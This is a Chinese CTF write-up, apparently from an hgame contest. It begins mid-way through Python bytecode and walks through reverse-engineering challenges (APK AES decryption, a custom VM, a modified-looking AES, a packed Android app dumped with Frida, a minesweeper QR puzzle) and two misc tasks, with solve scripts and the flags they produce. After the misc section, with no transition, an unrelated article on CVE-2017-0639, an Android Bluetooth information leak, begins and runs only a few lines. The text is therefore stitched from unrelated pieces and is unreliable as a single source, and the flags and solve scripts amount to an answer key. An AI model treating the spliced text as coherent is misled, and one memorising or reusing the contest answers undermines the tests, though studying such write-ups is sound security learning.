132 BINARY_XOR
134 CALL_METHOD 1 #res.append(ord(cipher[i])^i)
136 POP_TOP
138 JUMP_ABSOLUTE 112
15 >> 140 LOAD_GLOBAL 6 (bytes)
142 LOAD_FAST 4 (res)
144 CALL_FUNCTION 1
146 LOAD_METHOD 7 (hex)
148 CALL_METHOD 0
150 STORE_FAST 4 (res) #res = bytes(res).hex()
16 152 LOAD_GLOBAL 8 (print)
154 LOAD_CONST 6 ('your flag: ')
156 LOAD_FAST 4 (res)
158 BINARY_ADD
160 CALL_FUNCTION 1 #print('your flag: ' + res)
162 POP_TOP
164 LOAD_CONST 0 (None)
166 RETURN_VALUE
# your flag: 30466633346f59213b4139794520572b45514d61583151576638643a
最后简单逆一下：
enc = '30466633346f59213b4139794520572b45514d61583151576638643a'
enc = bytes.fromhex(enc)
flag = [b^i for b, i in enumerate(enc)]
for i in range(len(flag)//2):
flag[2*i], flag[2*i+1] = flag[2*i+1], flag[2*i]
print(''.join(map(chr, flag)))
#G00dj0&_H3r3-I$Y@Ur_$L@G!~!~
### ezApk
简单的安卓，只有java代码，找到按钮活动。
就是取出文本内容，然后把输入和密文传入s方法，验证是否正确。
到s方法：一个cbc模式的aes加密，填充方式为PKCS7Padding。
所以解密密文就应该是flag了，使用java用同样的方式调用一下解密方法。这里注意一点就是：java中自带的是PKCS5Padding填充，直接使用PKCS7Padding会报错，但搜索到这2个使用起来是一样的，就直接改成PKCS5Padding就好了。
package ctf;
import java.io.UnsupportedEncodingException;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Arrays;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
class cry{
public static byte[] hash(String a, String b) throws NoSuchAlgorithmException, UnsupportedEncodingException{
MessageDigest v2 = MessageDigest.getInstance(a);
byte[] v3 = b.getBytes("UTF-8");
byte[] ans = v2.digest(v3);
return ans;
}
}
public class aes_test {
public static void main(String[] args) throws NoSuchAlgorithmException, UnsupportedEncodingException, NoSuchPaddingException, InvalidKeyException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException{
String key = "A_HIDDEN_KEY";
String input = "EEB23sI1Wd9Gvhvk1sgWyQZhjilnYwCi5au1guzOaIg5dMAj9qPA7lnIyVoPSdRY";
Base64.Decoder decoder = Base64.getDecoder();
byte[] enc = decoder.decode(input);
SecretKeySpec v1 = new SecretKeySpec(cry.hash("SHA-256", key), "AES");
IvParameterSpec v2 = new IvParameterSpec(cry.hash("MD5", key));
Cipher v5 = Cipher.getInstance("AES/CBC/PKCS5Padding");
v5.init(2, v1, v2);
System.out.println("key: " + byte_hex.bytes2hex(v1.getEncoded()));
System.out.println("iv: " + byte_hex.bytes2hex(v2.getIV()));
byte[] plain = v5.doFinal(enc);
System.out.println(new String(plain));
}
}
/*
key: fca5fed0bc096dbb2f21c64b77a908b5c9944dfcaba05a482b2424a44a15ffe6
iv: 99c6bd34c31b78b4c4b964a7745e6300
hgame{jUst_A_3z4pp_write_in_k07l1n}
*/
其实也不用这么麻烦的，关键是想练习一下java。
自己算一下hash得到的key和iv用python或者在线网站解密一下，方便的多。
#coding:utf-8
import base64
from Crypto.Cipher import AES
class AesEncry(object):
key = 'fca5fed0bc096dbb2f21c64b77a908b5c9944dfcaba05a482b2424a44a15ffe6'
key = bytes.fromhex(key)
iv = '99c6bd34c31b78b4c4b964a7745e6300'
iv = bytes.fromhex(iv)
def encrypt(self, data):
mode = AES.MODE_ECB
padding = lambda s: s + (16 - len(s) % 16) * chr(16 - len(s) % 16)
cryptos = AES.new(self.key, mode)
cipher_text = cryptos.encrypt(data)
return cipher_text.hex()
def decrypt(self, data):
cryptos = AES.new(self.key, AES.MODE_CBC, self.iv)
decrpytBytes = base64.b64decode(data)
plaint = cryptos.decrypt(decrpytBytes)
return plaint
enc = 'EEB23sI1Wd9Gvhvk1sgWyQZhjilnYwCi5au1guzOaIg5dMAj9qPA7lnIyVoPSdRY'
flag = AesEncry().decrypt(enc)
print(flag)
### helloRe2
首先输入pass1的逻辑，转化一个128位的大数与指定大数比较，然后以挂起创建自身进程的子进程，调用CreateFileMappingA()函数把文件映像到内存，再使用MapViewOfFile()函数把文件视映像到进程地址空间上（用于把当前进程的内存空间的数据与子进程共享），然后在非调试状态下对要共享的数据简单的异或加密一下，最后恢复启动刚刚创建的子进程，自身进程睡眠挂起：
子进程启动后，调用OpenFileMappingA()与MapViewOfFile()查看父进程共享的内存数据，若存在则调用输入pass2的逻辑，然后一个cbc模式的aes加密。
使用python解密一下得到pass2：
#coding:utf-8
import base64
from Crypto.Cipher import AES
key = b'2b0c5e6a3a20b189'
key = [key[i]^i for i in range(len(key))]
key = bytes(key)
#key = bytes.fromhex(key)
iv = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]
iv = bytes(iv)
#iv = bytes.fromhex(iv)
def encrypt(data):
mode = AES.MODE_ECB
padding = lambda s: s + (16 - len(s) % 16) * chr(16 - len(s) % 16)
cryptos = AES.new(self.key, mode)
cipher_text = cryptos.encrypt(data)
return cipher_text.hex()
def decrypt(data):
cryptos = AES.new(key, AES.MODE_CBC, iv)
decrpytBytes = base64.b64decode(data)
plaint = cryptos.decrypt(decrpytBytes)
return plaint
enc = 't/7+2Qd2eWU/Tl9i1QL2fg=='
flag = decrypt(enc)
print(flag)
#7a4ad6c5671fb313
最后： **hgame{2b0c5e6a3a20b189_7a4ad6c5671fb313}**
### fake_debugger beta
nc连上后，空格加回车进行单步调试。
容易发现，是对输入一位一位的异或加密后与指定值比较，不对则退出。
开始的格式是知道的，所以后面一位一位慢慢的跟一下就好了。
**hgame{You_Kn0w_debuGg3r}**
### gun
jadx反编译后没有发现MainActivity，但从几个特征可以知道app进行梆梆加固免费版进行加固。
我们的目的主要是得到解密后的关键dex分析MainActivity，所以可以直接考虑用frida-dumpdex来dump出内存中的dex。项目地址：<https://github.com/hluwa/FRIDA-DEXDump>
搭建frida环境时注意一点：安装的frida的版本要和服务端安装的frida-server版本要一致。
dump出dex后从到小的拖进jeb中反编译，0xbf03a000.dex是我们要找的。
可以看到，创建了多个线程进行操作。
看一下功能：
继续看fd.i方法：
到这里基本上就可以知道，是开启多个线程进行发送数据，然后每个线程有不同的睡眠时间，这就有了先后顺序。
我是直接把所有数据按时间建立关系后，打印出来。
#include <stdio.h>
char a[0xfffffff];
int main(void)
{
int i = 0;
a[19530] = 'q', a[0x75F4] = 'e', a[0xA161] = 'd', a[7337] = 'f';
a[0x5B0D] = 'e', a[0xC266] = 'x', a[0x887F] = 'q', a[50475] = 'u';
a[0xC05D] = 'a', a[0x909B] = 'u', a[8488] = 'a', a[0xC1CF] = 'r';
a[78545] = '0', a[0x4B4C] = 't', a[0xC807] = 'q', a[0x8C9B] = 'q';
a[0xB2B3] = 'k', a[2390] = 'z', a[0x568B] = ' ', a[70963] = 'y';
a[0xAF2B] = ' ', a[0x397B] = 'd', a[10110] = ' ', a[0xFE0D] = 't';
a[0x33DE] = 'q', a[0xE105] = ' ', a[40315] = 'b', a[79438] = 'd';
a[0x54C2] = 'e', a[0xD115] = 'y', a[0x84B9] = 'x', a[0xE4B4] = 'q';
a[28084] = 'f', a[83607] = '}', a[0x312F] = 'e', a[0x142F0] = 'd';
a[50828] = 'z', a[79540] = '_', a[60636] = 'm', a[20891] = 'b';
a[0x41D8] = 'a', a[0x18FC] = 'm', a[0xE91A] = 'r', a[0x13F0F] = 'I';
a[0x70B8] = 't', a[4741] = 'm', a[30778] = ' ', a[0xEFA] = 'g';
a[11980] = 'q', a[5130] = 'p', a[0x7F0] = 'a', a[0x13FA7] = '0';
a[0x4127] = ' ', a[0x10D66] = 'Q', a[0x54A] = 'O', a[0xDBA0] = 's';
a[0x10EE1] = 'h', a[70302] = 'x', a[0x11C08] = 'n', a[0x4831] = ' ';
a[0xE33C] = 't', a[0xFAF4] = ' ', a[80538] = 'i', a[0xF4E1] = 'u';
a[22890] = 'u', a[0x803B] = 'm', a[0x655B] = 'd', a[0xDC3A] = 'z';
a[0x3599] = 'o', a[44072] = 'k', a[0xB205] = 'N', a[0xBB43] = 'F';
a[80939] = '7', a[0x3F07] = 'f', a[52068] = 'o', a[0xCAA2] = ' ';
a[72519] = '_', a[0x11F52] = 'k', a[0x3CA5] = 'q', a[75894] = 'F';
a[0xF723] = 'e', a[0x7221] = 'u', a[0x2FCD] = ' ', a[3501] = 'd';
a[0x9168] = 'e', a[0x8DC6] = ' ', a[0x100CF] = 's', a[0xCD51] = 'm';
a[0x10B56] = 'd', a[0x6ABD] = ' ', a[0x103F7] = 'y', a[60485] = 'x';
a[0x9589] = 'u', a[0x1105E] = '3', a[54002] = 'b', a[0x12C3F] = '1';
a[0x6750] = ',', a[0xBFCB] = ' ', a[70562] = '_', a[0xE66F] = ' ';
a[47203] = 'q', a[0x4994] = 'f', a[0xF098] = 's', a[0xC131] = 'r';
a[0x16FB] = 'g', a[74919] = 'z', a[0xA96B] = ' ', a[0x4558] = 'r';
a[0x222F] = 'z', a[0xAAD0] = 'n', a[0x9841] = 'z', a[71894] = '3';
a[0x8AF0] = 's', a[0x2BFF] = 't', a[0x525F] = 'b', a[0x9995] = 'e';
a[68035] = '{', a[0xA375] = 'q', a[10949] = 'f', a[0x63DD] = 'q';
a[0xA621] = 'p', a[78398] = '_', a[0x10780] = 'q', a[0x609E] = 't';
a[9603] = '!', a[0x7E5F] = 't', a[0x83C0] = 'x', a[0x8A6D] = 'z';
a[0x1309A] = '3', a[0xB8F4] = 'O', a[54430] = 'm', a[0x143CF] = 'w';
a[40499] = 'u', a[0xD882] = 'u', a[0xB5DB] = 'f', a[0x931B] = ' ';
a[0x1FB0] = 'u', a[0xF2F2] = ' ', a[0x5031] = 'm', a[0x12720] = '4';
a[0x6649] = 'q', a[0xBCA1] = 'R', a[24004] = ' ', a[0x10180] = 'm';
a[77170] = 'h', a[0x7B3C] = 'o', a[3019] = 's', a[20120] = ' ';
a[74113] = '_', a[0xDD23] = ',', a[58044] = 'f', a[79659] = 'z';
for(i = 0; i < 0xfffffff; i++)
if(a[i])
putchar(a[i]);
return 0;
}
得到 **Oazsdgmpgmfuaz! ftq eqodqf ar ftq mbbe ue tqdq, ftue otmxxqzsq ue
uzebudqp nk NkfqOFR arrxuzq omybmusz, ftq rxms ue
tsmyq{dQh3x_y3_nk_z4F1h3_0d_zi7I0dw}**
，可以看到最后和flag的格式是一样的了，字符数都是一样的，整个字符串的特征猜测凯撒加密。
从位移12得到结果：
### FAKE
开始没注意，以为就是考下z3的使用，且题目中有提示： **Try angr or z3.**
，上来就把36个方程组去写z3，没有发现解。。也可能是我的约束条件写错了。。
之后注意到题目名字fake，进而看了看程序，发现一个获取TracerPid的反调试和紧接着的smc：
自己查看一下非调试运行时的状态：
使用idapython或调试到smc后的代码，其实就是2个矩阵的乘法：
先z3解一下：
from z3 import *
s = Solver()
flag = [BitVec('flag[%d]'%i, 8) for i in range(36)]
a = [104, 103, 97, 109, 101, 123, 64, 95, 70, 65, 75, 69, 95, 102, 108, 97, 103, 33, 45, 100, 111, 95, 89, 48, 117, 95, 107, 111, 110, 119, 95, 83, 77, 67, 63, 125]
b = [55030, 61095, 60151, 57247, 56780, 55726, 46642, 52931, 53580, 50437, 50062, 44186, 44909, 46490, 46024, 44347, 43850, 44368, 54990, 61884, 61202, 58139, 57730, 54964, 48849, 51026, 49629, 48219, 47904, 50823, 46596, 50517, 48421, 46143, 46102, 46744]
ans = [0]*36
for i in range(6):
for j in range(6):
for k in range(6):
ans[6*i+j] += a[6*k+j] * flag[6*i+k]
for i in range(6):
for j in range(6):
s.add(b[6*i+j] == ans[6*i+j])
if s.check() == sat:
flag = [s.model()[i].as_long() for i in flag]
print(bytes(flag))
else:
print("unsat")
#hgame{E@sy_Se1f-Modifying_C0oodee33}
再使用sage求解看，实质就是先求得一个逆矩阵然后与enc组成的矩阵做乘法。
### helloRe3
一血。
开始每管题目的提示信息，直接静态分析了下，看见创建了一个线程，后面开始注册窗口各种操作，然后越看越复杂，定位到这个函数，有iv，key和加密解密操作，从常量识别出是tea类的加密算法？但这个也无从下手，程序中好像没调用这里。。。
嗯，，回到题目开始看提示信息：开发者留下了调试信息，试试DbgView。就试试吧。
可以发现，每次输入都会输出相应的响应：
这里我直接去定位input length，因为之前静态分析时看见过。
其实上面这个整个函数就是关键了，简单看下汇编，结合DbgView。
输入长度为20，每一位先和0xff进行异或运算，最后来个rc4加密再和密文比较。 **注意：输入的是每个字符的order值，从DbgView可以查看。**
我直接附加调试得到内存信息，然后idapython得到order值：
from ida_bytes import *
addr = 0x7FF7E35B5820
addr1 = 0x07FF7E35A3720
flag = []
s = [21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30]
s = [i^0xff for i in s]
for i in range(20):
flag += [(s[i]^get_byte(addr) ^ get_byte(addr1)) ^0xff]
addr += 1
addr1 += 1
print(flag)
最后用C语言写一个置表得到输入。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int a[] = {59, 58, 54, 72, 39, 47, 26, 31,
61, 24, 61, 74, 24, 40, 32, 23,
68, 24, 41, 48};
int b[1000];
char s1[] = "1234567890-+";
char s2[] = "QWERTYUIOP{}|";
char s3[] = "ASDFGHJKL;'";
char s4[] = "ZXCVBNM,./";
char flag[50];
int main(void)
{
int i = 0, j = 0;
for(i = 21; i <= 32; i++)
b[i] = s1[j++];
j = 0;
for(i = 37; i <= 49; i++)
b[i] = s2[j++];
j = 0;
for(i = 54; i <= 64; i++)
b[i] = s3[j++];
j = 0;
for(i = 66; i <= 75; i++)
b[i] = s4[j++];
j = 0;
for(i = 0; i < 20; i++)
flag[i] = b[a[i]];
puts(flag);
}
//HGAME{6-K4K.4R+3C4T}
### vm
二血。
一个简单的vm，调试跟踪得到先是找到输入的最后一位，开始从后向前进行指定值的异或运算，紧接着一轮从后向前的减法运算。
#include <stdio.h>
unsigned char enc[] =
{
207, 191, 128, 59, 246, 175, 126, 2, 36, 237,
112, 58, 244, 235, 122, 74, 231, 247, 162, 103,
23, 240, 198, 118, 54, 232, 173, 130, 46, 219,
183, 79, 230, 9
};
unsigned char a = 0xfe, b = 0x7a;
int main(void)
{
int i = 0, j = 0;
for(i = 33; i >= 0; i--)
{
enc[i] += b;
b -= 0x60;
enc[i] ^= a;
a += 0x23;
}
for(i = 0; i < 34; i++)
printf("%c", enc[i]);
}
### A 5 Second Challenge
一个扫雷游戏，第一步操作后，如果后面时间超过5s的话游戏结束。这个修改下系统时间就解除了。
找到关键数据文件夹：
反编译AFiveSecondChallenge.dll：看到获取当前系统的时间，检查是否超时的函数，题目描述的一样，对dll做了手脚，也是
**CheckBomAt** 这个函数，最后有很多数据，从数量可以猜测对应我们题目中的45*45的格子。
现在目的就是找 **CheckBomAt** 函数，开始想的是可能有办法修复这个dll，搜索一番没有结果。
转到刚刚那个文件夹的，发现2个关键cpp文件：AFiveSecondChallenge.cpp，Assembly-CSharp.cpp。
在AFiveSecondChallenge.cpp中发现反编译不出来的函数：从名字可以很好识别其功能，开始做一个超时检查，如果没超时取出matrix中的数据做一个运算后判断。
然后从Assembly-CSharp.cpp中看到了整个游戏逻辑。注释相当于把源码都给了吧，真好。
捕捉鼠标点击后，开始进行各种判断。
计算周围的雷数，就是判断8个方向，也可以看出返回值为0代表不是雷：
点击后，根据是雷或者不是雷填充对应的色块：
如果点击块周围没有雷，则递归的向四个方向扩展开来：
分析到这里想找最后胜利的判断条件以此看flag怎么来的，好像没有，。。
到这里知道了关键就是判断一个块是否是雷的函数 **CheckBomAt** ，按照题目的算法打印出雷的位置，1表示雷。
#include <stdio.h>
double a[45][15][3] = {游戏中的数据};
int main(void)
{
double ans;
double a_, b_, c_, d_;
int i = 0, j = 0, k = 0, bomb[45][45];
for(j = 0; j < 45; j++)
{
for(i = 0; i < 45; i++)
{
a_ = a[j][i/3][0];
b_ = a[j][i/3][1];
c_ = a[j][i/3][2];
d_ = (double)(i%3 - 1.0);
ans = (a_*d_*d_ + b_*d_) + c_;
bomb[j][i] = ans > 0.0 ? 1:0;
}
}
for(i = 0; i < 45; i++)
{
for(j = 0; j < 45; j++)
printf("%d ", bomb[i][j]);
putchar(10);
}
}
用这个数据玩了一下游戏，但是有的地方和算出的雷的位置不一致，大多数还是一样的。。然后一直找是不是哪里算错了，算法也比对了好几次。。就把题放一边了。
后面看见题目给出提示，二维码，看了看我之前打印的数据。。。
使用python的PIL模块用这个数据打印出二维码：
from PIL import Image
x = 45
y = 45
im = Image.new('RGB', (x, y))
data = '111111100011101111100101000001110100101111111100000100001011111010001110100011001001000001101110101110100100000100111010100101001011101101110101101010111001001001001111101101011101101110101110001100101111111011101111101011101100000101011000100101000100011111000001000001111111101010101010101010101010101010101111111000000001100001101111000111101010000100000000101111100001111010101111111000000000101111100000100010001011011110010110001010001010000001000101111000011001000111010110100010011001110010100001000010001111010011000100111000001100100110101111100101101101010101110010010101001010001011101001011011101100000101101110000110010000111101101001010000100101110010010101100101111011101101110000101111101101101000100110110100101000010101010000101010100001110011100000010001001001000100010111111101101100111000011110100010000010100111000011011001010010011000001010101101011111000000101010011011011001011111111100110100101111110001000110111110111111110001100000011111000100011110010100011101001010101001011101011010110010000101101011010101110001100001010011000110010100011100011100001111111101110011011111110001111110111110001111110011111001100101101000010101001001101001100100110100111010001011001011111111011110010010011001000011110111111111101001000100011111011001111110011100011010101010010100001111000011011011001000001000100011111010000111001000100100101001100110001101100010111110010000011011101010111101010100000100001101011010011001110011100010111111000101110101110110010100111001110010111010001101000100001110010100010110000010111111000000010010110100110101110111100011110011101001101111111011001100100011010110100110100011100010011111101000111000111111100000000001110101000011000111001101101100010100111111100101011000101010100000011000101011110100000101100000110101000111001010110100011111101110101111001110001111110000000101111110000101110101111010011010010010011010001111001111101110101110100010000101010010100100101101100100000100111010110100001100000101111111001100111111101000101001110100110101100000100100010'
for i in range(0, x):
for j in range(0, y):
line = data[i*x+j]
if line == '1':
im.putpixel((i, j), (0, 0, 0))
else:
im.putpixel((i, j), (0xff, 0xff, 0xff))
im.show()
扫一下得到flag： **hgame{YOU~hEn-duO_yOU-X|~DOU-sHi~un1Ty~k4i-fA_de_O}**
### nllvm
一血。
通过这个题学习熟悉下AES加密算法还是不错的。
首先看一下main函数：先设置控制台显示文本的属性，接着可以看到很多异或运算，这些数据在要使用后同样做了相同的异或运算，所以简单隐藏了下程序中的数据。
找到加密的地方，开始静态看了一下整个加密流程，只是注意到很多异或运算也不复杂，在一个置位的地方发现加密后的一个aes的s-box。
确定aes加密后，又进而发现是带有iv的。
再梳理了一下这里的加密流程：
可以从重复轮进行了13次可以知道key是256位的，但块长度是128位的。。之前一直以为密钥长度和块长度是一样的。又加上这里移位和混合的方向和我之前了解的正好相反，就感觉是魔改过的aes加密，开始用C自己写逆过程，关键就是行混合不好写，还好有搜索，hh。
#include <stdio.h>
unsigned char rsbox[256] = {
0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d };
unsigned char key[] = {0x43, 0x72, 0x79, 0x70, 0x74, 0x6f, 0x46, 0x41, 0x49, 0x4c, 0x55, 0x52, 0x45, 0x66, 0x6f, 0x72, 0x52, 0x53, 0x41, 0x32, 0x30, 0x34, 0x38, 0x4b, 0x65, 0x79, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0xbf, 0x8f, 0x84, 0x8d, 0xcb, 0xe0, 0xc2, 0xcc, 0x82, 0xac, 0x97, 0x9e, 0xc7, 0xca, 0xf8, 0xec, 0x94, 0x27, 0x00, 0xfc, 0xa4, 0x13, 0x38, 0xb7, 0xc1, 0x6a, 0x19, 0x96, 0xe0, 0x4b, 0x38, 0xb7, 0x0e, 0x88, 0x2d, 0x6c, 0xc5, 0x68, 0xef, 0xa0, 0x47, 0xc4, 0x78, 0x3e, 0x80, 0x0e, 0x80, 0xd2, 0x59, 0x8c, 0xcd, 0x49, 0xfd, 0x9f, 0xf5, 0xfe, 0x3c, 0xf5, 0xec, 0x68, 0xdc, 0xbe, 0xd4, 0xdf, 0xa4, 0xc0, 0xb3, 0xea, 0x61, 0xa8, 0x5c, 0x4a, 0x26, 0x6c, 0x24, 0x74, 0xa6, 0x62, 0xa4, 0xa6, 0x7d, 0x26, 0x84, 0x6d, 0x80, 0xb9, 0x71, 0x93, 0xbc, 0x4c, 0x9d, 0xfb, 0x60, 0xf2, 0x49, 0x24, 0x25, 0xfb, 0x85, 0x3a, 0x44, 0x53, 0xd9, 0x70, 0x62, 0x3f, 0xfd, 0x04, 0xc4, 0x5d, 0x59, 0xa2, 0x61, 0x6a, 0x4f, 0x57, 0xe1, 0xd3, 0x3e, 0xc4, 0x5d, 0x9f, 0xa3, 0x3f, 0x3d, 0x6d, 0xea, 0x1b, 0x09, 0x7c, 0x2a, 0x1d, 0x4d, 0x2f, 0xf3, 0x6d, 0x2f, 0x10, 0x0e, 0x69, 0xeb, 0x4d, 0x57, 0xcb, 0x88, 0x89, 0x14, 0x48, 0x69, 0x5a, 0x2a, 0x8c, 0x34, 0xc5, 0x89, 0xb3, 0x09, 0xa8, 0x63, 0xa8, 0xeb, 0x87, 0xe8, 0x1c, 0xa6, 0xa8, 0x1b, 0x71, 0x89, 0xb8, 0x15, 0x18, 0x62, 0xf5, 0x42, 0xd3, 0x22, 0x6f, 0x38, 0x2e, 0x4b, 0x35, 0x12, 0xa2, 0x7f, 0xf0, 0x9b, 0x11, 0x76, 0x58, 0xf8, 0xb9, 0xc1, 0xc6, 0xbe, 0x24, 0x67, 0x6e, 0xa5, 0x55, 0xee, 0xd6, 0xb0, 0x4d, 0x8c, 0x23, 0xf2, 0x9e, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f};
unsigned char xtime(unsigned char x)
{
return ((x<<1) ^ (((x>>7) & 1) * 0x1b))&0xff;
}
unsigned char Multiply(unsigned char x, unsigned char y)
{
return (((y & 1) * x) ^
((y>>1 & 1) * xtime(x)) ^
((y>>2 & 1) * xtime(xtime(x))) ^
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^
((y>>4 & 1) * xtime(xtime(xtime(xtime(x))))));
}
void InvMixColumns(unsigned char* state)
{
int i;
unsigned char a, b, c, d;
for (i = 0; i < 4; ++i)
{
a = state[4*i];
b = state[4*i+1];
c = state[4*i+2];
d = state[4*i+3];
state[4*i] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
state[4*i+1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
state[4*i+2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
state[4*i+3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
}
}
void fun_xor(int k, unsigned char *enc)
{
int i = 0;
for(i = 0; i < 16; i++)
enc[i] ^= key[k*16 + i];
}
void InvShift(unsigned char *a1)
{
int i, j;
for(j = 1; j < 4; j++)
{
int s = 0;
while(s < j)
{
int tmp = a1[4*3+j];
for(i = 3; i > 0; i--)
a1[4*i+j] = a1[4*(i-1)+j];
a1[j] = tmp;
s++;
}
}
}
void InvSub(unsigned char *p)
{
int i = 0;
for(i = 0; i < 16; i++)
p[i] = rsbox[p[i]];
}
int main(void)
{
unsigned char a[] = {0x91, 0xb3, 0xc1, 0xeb, 0x14, 0x5d, 0xd5, 0xce, 0x3a, 0x1d, 0x30, 0xe4, 0x70, 0x6c, 0x6b, 0xd7, 0x69, 0x78, 0x79, 0x02, 0xa3, 0xa5, 0xdf, 0x1b, 0xfd, 0x1c, 0x02, 0x89, 0x14, 0x20, 0x7a, 0xfd, 0x24, 0x52, 0xf8, 0xa9, 0xf9, 0xf1, 0x6b, 0x1c, 0x0f, 0x5d, 0x50, 0x5b, 0xec, 0x42, 0xd1, 0x8c, 0xb8, 0x12, 0xcf, 0x2c, 0xa9, 0x69, 0x31, 0x46, 0xfd, 0x9b, 0xea, 0xde, 0xc8, 0xbf, 0x94, 0x69};
unsigned char *p = a+48, *p1;
unsigned char iv[] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15};
int i = 0, j = 0, k = 0;
for(i = 0; i < 4; i++)
{
fun_xor(0xe, p);
for(j = 13; ; j--)
{
InvShift(p);
InvSub(p);
fun_xor(j, p);
if(j == 0)
break;
InvMixColumns(p);
}
if(i != 3)
p1 = p-16;
else
p1 = iv;
for(k = 0; k < 16; k++)
{
p[k] ^= p1[k];
}
p = p1;
}
for(i = 0; i < 64; i++)
printf("%c", a[i]);
}
//hgame{cOsm0s_is_still_fight1ng_and_NEVER_GIVE_UP_O0o0o0oO00o00o}
其实写好逆过程后，开始一直解不来，后面一个一个排查再发现是密文找错了， **再次被从ida的伪代码来看变量的值坑到** 。。。
**另外这个aes加密并没有魔改的，后面我又用python的aes模块解了一下，同样解出。。那现在问题就是移位和混合的方向的问题（这里先留一下），后面再好好学习一下。至于块长度和密钥长度是没关系的。**
最后就总结一下aes加密的大概：
> 1. **重复轮：128位密钥一般重复执行9次，192位密钥一般重复执行11次，256位密钥一般重复执行13次。**
> 2. **重复轮每轮重复的操作包括：字节替换、行移位、列混乱、轮密钥加。**
> 3. **在aes中块长度与都是128位，与密钥长度无关。**
> 4. **每执行一块的加密操作，开始是一个初始轮（与初始密钥异或），然后重复轮，最后一个最终轮（除开列混混合操作）。**
>
## Misc
### Base全家福
从每一步骤后的字符组成可以容易辨认出来。
base64，base32，base16
### 不起眼压缩包的养成的方法
从图片最后看到一个压缩包和提示密码是图片id。
<https://saucenao.com/> 上这个网站查该图片的id。
解压后得到plain.zip和NO PASSWORD.txt，而plain.zip又要密码，看了一下里面的文件，发现也有一个NO
PASSWORD.txt文件，它们crc32值。
这由此想到应该是明文攻击了，而明文攻击有一个条件，2个文件的压缩方式要相同，这在NO PASSWORD.txt中有提示。
明文攻击得到密码：
最后打开flag文件，是实体编码 entity code，用html写处一个标题让浏览器解析它。
<h1>hgame{2IP_is_Usefu1_and_Me9umi_i5_W0r1d}</h1> | 社区文章 |
### **作者：heeeeen@MS509Team**
### 0x01 漏洞简介
Android本月的安全公告，修复了我们发现的另一个蓝牙App信息泄露漏洞，该漏洞允许攻击者获取
bluetooth用户所拥有的私有文件，绕过了将应用数据与其他应用隔离的操作系统防护功能。
漏洞信息如下：
* CVE: CVE-2017-0639
* BugID: A-35310991
* 严重性: 高危
* 漏洞类型: 信息泄露
